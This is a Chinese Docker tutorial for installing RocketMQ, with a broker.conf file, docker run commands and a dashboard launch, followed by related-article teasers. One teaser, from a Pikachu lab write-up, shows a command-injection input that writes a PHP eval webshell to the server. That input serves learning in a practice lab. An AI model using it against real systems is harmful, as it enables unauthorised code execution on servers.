Docker 安装配置 RocketMq (带代码和可视化界面) 一文搞定

Docker 安装配置 RocketMq

  • 前言
    • RocketMq拆解和分析
      • 前置内容
      • 1、NameServer
      • 2、Broker
      • 2、可视化界面
      • SpringBoot + RocketMq 实战(后续有需求再继续)

前言

本文着重于基于Docker 安装 RocketMq ,默认是有 JAVA和 Docker 环境的,如无 基础(java docker) 环境,请先安装配置。

基础环境:Centos7,jdk8,Docker26

RocketMq拆解和分析

Producer:消息生产者,负责产生消息,存储到Broker。

Consumer:消息消费者,负责从Broker读取消息,并进行消费。

Push Consumer:Consumer的一种,Broker会主动推送消息到Consumer。

Pull Consumer:Consumer的一种,Consumer需要主动向Broker拉取消息。

Topic:消息主题,表示一类消息的集合。

Message:消息体,是消息的载体。

Tag:标签,用于区分不同的消息分区,一个Topic可以有多个Tag。

Queue:消息队列,Topic的物理分区,存储消息的地方。

Broker:消息中间件的服务节点,负责存储消息,转发消息等。

NameServer:路由中心,管理Broker的信息,Producer/Consumer通过NameServer查找Broker信息。

其中:我们在安装配置 RocketMq 只需要配置 NameServer,Broker 即可。

前置内容

RocketMq 基础镜像下载

docker pull rocketmqinc/rocketmq:latest

新建宿主机挂载目录(共5个)

mkdir /data/docker/rocketmq/namesrv/logs --namesrv
mkdir /data/docker/rocketmq/namesrv/store --namesrv
mkdir /data/docker/rocketmq/conf/  -- conf
mkdir /data/docker/rocketmq/broker/logs   --broker
mkdir /data/docker/rocketmq/broker/store   --broker也可以合并一条执行

配置文件获取

此处的配置文件为 broker.conf,是整个rocketMq 配置的核心内容
1、可以通过 docker run 简单启动一个 nameServer,然后通过 docker exec 和docker 
copy 翻阅 复制  /opt/rockermq/conf/broker.conf(原配置文件)到宿主机,并进行修改。
2、 (推荐)直接使用我下面提供的[文件新建到 /data/docker/rocketmq/conf/ 目录下(上面新建的目录)]
注:需要修改 namesrvAddr 和 brokerIP1 为宿主机ip,直接使用宿主机ip,不使用docker 容器地址,避免问题。

broker.conf 文件内容

# 所属集群名字
brokerClusterName=DefaultCluster
# broker 名字,注意此处不同的配置文件填写的不一样,如果在 broker-a.properties 使用: broker-a,
# 在 broker-b.properties 使用: broker-b
brokerName=broker-a
# 0 表示 Master,> 0 表示 Slave
brokerId=0
# nameServer地址,分号分割
namesrvAddr=192.168.18.200:9876【修改为自己namesrv地址】
# 启动IP,如果 docker 报 com.alibaba.rocketmq.remoting.exception.RemotingConnectException: connect to <192.168.0.120:10909> failed
# 解决方式1 加上一句 producer.setVipChannelEnabled(false);,解决方式2 brokerIP1 设置宿主机IP,不要使用docker 内部IP
#producer.setVipChannelEnabled=false
brokerIP1=192.168.18.200【修改为自己的宿主机ip】# 在发送消息时,自动创建服务器不存在的topic,默认创建的队列数
defaultTopicQueueNums=4
# 是否允许 Broker 自动创建 Topic,建议线下开启,线上关闭 !!!这里仔细看是 false,false,false
autoCreateTopicEnable=true
# 是否允许 Broker 自动创建订阅组,建议线下开启,线上关闭
autoCreateSubscriptionGroup=true
# Broker 对外服务的监听端口
listenPort=10911
# 删除文件时间点,默认凌晨4点
deleteWhen=04
# 文件保留时间,默认48小时
fileReservedTime=120
# commitLog 每个文件的大小默认1G
mapedFileSizeCommitLog=1073741824
# ConsumeQueue 每个文件默认存 30W 条,根据业务情况调整
mapedFileSizeConsumeQueue=300000
# destroyMapedFileIntervalForcibly=120000
# redeleteHangedFileInterval=120000
# 检测物理文件磁盘空间
diskMaxUsedSpaceRatio=88
# 存储路径
# storePathRootDir=/home/ztztdata/rocketmq-all-4.1.0-incubating/store
# commitLog 存储路径
# storePathCommitLog=/home/ztztdata/rocketmq-all-4.1.0-incubating/store/commitlog
# 消费队列存储
# storePathConsumeQueue=/home/ztztdata/rocketmq-all-4.1.0-incubating/store/consumequeue
# 消息索引存储路径
# storePathIndex=/home/ztztdata/rocketmq-all-4.1.0-incubating/store/index
# checkpoint 文件存储路径
# storeCheckpoint=/home/ztztdata/rocketmq-all-4.1.0-incubating/store/checkpoint
# abort 文件存储路径
# abortFile=/home/ztztdata/rocketmq-all-4.1.0-incubating/store/abort
# 限制的消息大小
maxMessageSize=65536
# flushCommitLogLeastPages=4
# flushConsumeQueueLeastPages=2
# flushCommitLogThoroughInterval=10000
# flushConsumeQueueThoroughInterval=60000
# Broker 的角色
# - ASYNC_MASTER 异步复制Master
# - SYNC_MASTER 同步双写Master
# - SLAVE
brokerRole=ASYNC_MASTER
# 刷盘方式
# - ASYNC_FLUSH 异步刷盘
# - SYNC_FLUSH 同步刷盘
flushDiskType=ASYNC_FLUSH
# 发消息线程池数量
# sendMessageThreadPoolNums=128
# 拉消息线程池数量
# pullMessageThreadPoolNums=128

注:以上准备工作完成后,以下都是docker操作。

1、NameServer

broker 依赖于 NameServer 的注册发现能力,因此我们需要先启动NameServer。

docker run -d --restart=always --name rmqnamesrv -p 9876:9876  -v /data/docker/rocketmq/namesrv/logs:/root/logs -v /data/docker/rocketmq/namesrv/store:/root/store -v /data/docker/rocketmq/conf/broker.conf:/opt/rocketmq-4.4.0/conf/borker.conf rocketmqinc/rocketmq:latest sh mqnamesrv;-d : 后台运行
--restart=always :自动重启
--name 容器名
-p 端口映射
-v 宿主机目录:容器内目录 (文件挂载)
rocketmqinc/rocketmq:latest 镜像名

执行完命令后 通过 docker ps 查看对应的容器是否启动成功。
在这里插入图片描述
docker logs 查看对应的启动日志 最后是 success 即启动成功

2、Broker

确定第一步 namesrv 启动完成后即可启动 broker

docker run -d \
--restart=always \
--name rmqbroker01  \
--link rmqnamesrv:namesrv \
-p 10911:10911 \
-p 10909:10909  \
-v /data/docker/rocketmq/broker/logs:/root/logs \
-v /data/docker/rocketmq/broker/store:/root/store  \
-v /data/docker/rocketmq/conf/broker.conf:/opt/rocketmq-4.4.0/conf/broker.conf  \
-e "NAMESRV_ADDR=namesrv:9876"  \
rocketmqinc/rocketmq:latest \
sh mqbroker \
-c /opt/rocketmq-4.4.0/conf/broker.conf autoCreateTopicEnable=true;

docker ps 查看
在这里插入图片描述

2、可视化界面

本人已经将可视化界面打包成 jar 包,可以下载到本地通过 java -jar 命令执行即可。注:请看本文附带的文件资源。

java -Drocketmq-Address="11.11.11.11:9876" -jar rocketmq-dashboard-1.0.0.jar

在这里插入图片描述

SpringBoot + RocketMq 实战(后续有需求再继续)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/879006.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

启动spring boot项目时,第三方jar包扫描不到的问题

讲述一下遇到的问题&#xff1a; 在启动类Application上使用ComponentScan 这个注解来扫描第三方的包&#xff0c;然后就会出现报错。异常就是无法加载本地的bean&#xff0c;但是可以加载到第三方的bean&#xff1b; 了解过spring boot启动流程的都知道&#xff0c;Springboo…

局域网远程桌面工具:NoMachine 介绍、安装与使用

局域网远程桌面工具&#xff1a;NoMachine 介绍、安装与使用 NoMachine 简介Linux 安装Windows安装使用 NoMachine 简介 NoMachine是一款很常见的远程桌面工具&#xff0c;尤其在EDA领域&#xff0c;常常被用作远程接入方案。NoMachine可以用于个人远程连接&#xff0c;类似于…

决策树模型python代码实现

计算熵函数&#xff08;二元熵&#xff09; # UNQ_C1 # GRADED FUNCTION: compute_entropydef compute_entropy(y):"""Computes the entropy for Args:y (ndarray): Numpy array indicating whether each example at a node isedible (1) or poisonous (0)Retu…

计算机网络:http协议

计算机网络&#xff1a;http协议 一、本文内容与前置知识点1. 本文内容2. 前置知识点 二、HTTP协议工作简介1. 特点2. 传输时间分析3. http报文结构 三、HTTP版本迭代1. HTTP1.0和HTTP1.1主要区别2. HTTP1.1和HTTP2主要区别3. HTTPS与HTTP的主要区别 四、参考文献 一、本文内容…

Kafka【十三】消费者消费消息的偏移量

偏移量offset是消费者消费数据的一个非常重要的属性。默认情况下&#xff0c;消费者如果不指定消费主题数据的偏移量&#xff0c;那么消费者启动消费时&#xff0c;无论当前主题之前存储了多少历史数据&#xff0c;消费者只能从连接成功后当前主题最新的数据偏移位置读取&#…

【贪心算法】区间类算法题(整数替换、俄罗斯套娃、重构字符串等、C++)

文章目录 1. 前言2. 算法题1.整数替换2.俄罗斯套娃信封问题3.可被三整除的最大和4.距离相等的条形码5.重构字符串 1. 前言 贪心算法&#xff08;Greedy Algorithm&#xff09;是一种在每一步选择中都采取当前状态下最优决策的算法。贪心算法通常用来解决最优化问题&#xff0c…

anolis 8 安装部署spdk

SPDK的部署可以参考官方 https://github.com/spdk/spdk 有文档 这里记录一下&#xff0c;基于 Anolis OS release 8.6 kernel 5.10.134-13.an8.x86_64v 下的部署以及遇到的问题 使用 v22 版本 &#xff0c; 这里会git clone github项目&#xff0c;国内访问github会失败&…

Elasticsearch数据写入过程

1. 写入请求 当一个写入请求&#xff08;如 Index、Update 或 Delete 请求&#xff09;通过REST API发送到Elasticsearch时&#xff0c;通常包含一个文档的内容&#xff0c;以及该文档的索引和ID。 2. 请求路由 协调节点&#xff1a;首先&#xff0c;请求会到达一个协调节点…

大数据决策分析平台建设方案(可编辑的56页PPT)

引言&#xff1a;在当今信息爆炸的时代&#xff0c;大数据已成为企业决策制定、业务优化与市场洞察的重要驱动力。为了充分挖掘大数据的潜在价值&#xff0c;提升决策效率与精准度&#xff0c;构建一套高效、灵活、可扩展的大数据决策分析平台显得尤为重要。通过大数据分析平台…

C++ 中的 vector 容器详解与应用示例

vector 是 C 标准模板库&#xff08;STL&#xff09;中最常用的顺序容器之一。与数组相比&#xff0c;vector 具有动态大小调整、内存自动管理等特点&#xff0c;极大地方便了日常编程工作。本文将从 vector 的基本用法、常用操作、具体示例等方面进行详细介绍。 1. vector 简介…

部分库函数及其模拟

前言&#xff1a;当我们学习c/c库函数的时候&#xff0c;我们可以用网站 cplusplus.com - The C Resources Network 来进行查阅&#xff0c;学习。 目录 库函数&#xff1a; 1.字符串函数 1.1求字符串长度 strlen 1.2长度不受限制的字符串函数 1.2.1strcpy 1.2.2strca…

vue3如何创建多环境变量

首先在全局目录中新建.env.development文件和.env.production文件、.env.test文件 .env.development文件 VITE_MODE_NAMEdevelopment VITE_API_URL"http://xxxxxxxxxx" 注意&#xff1a;必须要以VITE_ 去开头&#xff0c;否则获取不到 依次去配置.env.production文…

Pikachu靶场之RCE漏洞详解

一.exec "ping" 1.ping本机127.0.0.1 2.用&符拼接dir查看目录 3.&拼接echo输入一句话木马 127.0.0.1&echo "<?php eval($_POST[cmd]);?>)" > 6.php 4.同级目录访问6.php&#xff0c;蚁剑连接 二&#xff1a;exec "eval"…

c中 int 和 unsigned int

c语言中&#xff0c;char、short、int、int64以及unsigned char、unsigned short、unsigned int、unsigned int64等等类型都可以表示整数。但是他们表示整数的位数不同&#xff0c;比如&#xff1a;char/unisigned char表示8位整数&#xff1b; short/unsigned short表示16位整…

CATIA P3 V5-6R2020下载安装教程,附软件包百度网盘分享下载链接地址

CATIA V5软件介绍 CATIA V5 是达索系统公司开发的 CAD/CAE/CAM 一体化软件&#xff0c;在多行业广泛应用。它源于航空航天业&#xff0c;也是汽车工业事实标准。其发展历经多个版本&#xff0c;V5 版本界面友好且功能强大。 特点包括强大功能&#xff0c;如先进建模技术可创建…

Linux Vim的 命令大全

Linux Vim的 命令大全 文章目录 Linux Vim的 命令大全[TOC](文章目录)Vim 的历史Vi 的诞生Vim 的诞生Vim 的开源与发展Vim 的影响力1.Vim 的基本模式2. 正常模式常用命令3. 插入模式4. 命令模式5. 可视模式6. 其他有用的命令7. 自定义设置下载 Vim 的历史 Vim 的历史可以追溯到…

SD三分钟入门!秋叶大佬24年8月最新的Stable Diffusion整合包V4.9.7来了~

1 什么是 Stable Diffusion&#xff1f; Stable Diffusion&#xff08;简称SD&#xff09;是一种生成式人工智能技术&#xff0c;于2022年推出。它主要用于根据文本描述生成精细图像&#xff0c;同时也可应用于其他任务&#xff0c;如图像修补、扩展&#xff0c;以及在文本提…

C++ Windwos 文件操作

两种方式获取文件大小 INT64 MyGetFileSize(const CString& strFilePath) {//获取文件大小INT64 nLen 0;WIN32_FILE_ATTRIBUTE_DATA attr { 0 }; //文件属性结构体if (FALSE GetFileAttributesEx(strFilePath, GetFileExInfoStandard, &attr)) //获取文…

图论篇--代码随想录算法训练营第五十一天打卡| 99. 岛屿数量(深搜版),99. 岛屿数量(广搜版),100. 岛屿的最大面积

99. 岛屿数量&#xff08;深搜版&#xff09; 题目链接&#xff1a;99. 岛屿数量 题目描述&#xff1a; 给定一个由 1&#xff08;陆地&#xff09;和 0&#xff08;水&#xff09;组成的矩阵&#xff0c;你需要计算岛屿的数量。岛屿由水平方向或垂直方向上相邻的陆地连接而…

FFmpeg源码:compute_frame_duration函数分析

一、compute_frame_duration函数的定义 compute_frame_duration函数定义在FFmpeg源码&#xff08;本文演示用的FFmpeg源码版本为7.0.1&#xff09;的源文件libavformat/demux.c中&#xff1a; /*** Return the frame duration in seconds. Return 0 if not available.*/ stat…